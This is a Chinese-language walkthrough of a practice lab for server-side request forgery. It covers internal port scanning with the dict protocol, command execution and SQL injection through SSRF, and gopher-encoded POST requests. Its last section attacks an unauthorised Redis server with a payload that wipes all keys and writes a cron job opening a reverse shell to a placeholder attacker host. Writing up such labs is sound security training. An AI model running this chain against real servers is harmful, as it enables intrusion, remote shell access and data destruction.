常见的SSRF的一些利用。
参考:
手把手带你用 SSRF 打穿内网 | 国光 (sqlsec.com)
跟着国光师傅学习SSRF | 沉铝汤的破站 (chenlvtang.top)Duoduo-chino/ssrf_vul: 国光师傅的SSRF靶场docker环境 (github.com)
# 打靶记录
- 打开网站,可能存在SSRF漏洞:
- 尝试对百度的
robots.txt
进行读取:
- 利用
file
协议尝试读取文件:
- 发现目标内网为172.72.23.21,利用
dict
协议进行内网端口探测,由于是打靶端口就设置80、443、8080、6379,不然要扫很多无用端口,实战可以扫多一点:
- 结果:
172.72.23.26 8080
172.72.23.21 80
172.72.23.22 80
172.72.23.23 80
172.72.23.24 80
172.72.23.25 80
172.72.23.27 6379
# SSRF命令执行(GET)
- 利用http协议访问172.72.23.22:
- 使用Burp进行目录扫描:
- 扫出
shell.php
、phpinfo.php
:
- 查看flag(由于是服务器请求,需要编码一层,如果是burp则需要二次编码,因为burp在POST中会自动解码一次)
# SSRF SQL注入
同样使用http协议进行访问,加入id参数进行注入即可,注意编码:
# SSRF命令执行(POST)
- 利用http协议访问172.72.23.22:80
- 由于采用的是POST方式的表单,所以不能再用http协议来攻击,采用
gopher
协议,t它可以传递TCP数据流。
注意几点:
- Content-Length需要正确设置,用Burp发一次,会自动计算
- 需要URL编码一次
- 删除
Accept-Encoding
,否则结果会被两次编码 - 格式:
gopher://172.72.23.24:80/_<编码后POST数据包>
# SSRF Redis未授权利用
- 使用
dict
协议来简单判断是否存在未授权,执行info
命令:dict://ip:port/info
:
- 证实存在未授权,写入定时任务反弹shell,其基本payload:
flushall #删除所有key,保证我们的优先级最高
config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方
config set dbfilename root #文件名与用户名一致
set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确
save #保存
- 利用的时候,只需要用burp结合
dict
协议来逐条发包即可,最好url编码一次(受post中的&影响),不过不需要编码两次,因为这里不是http协议。如果需要使用gopher
协议,可以使用tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers (github.com)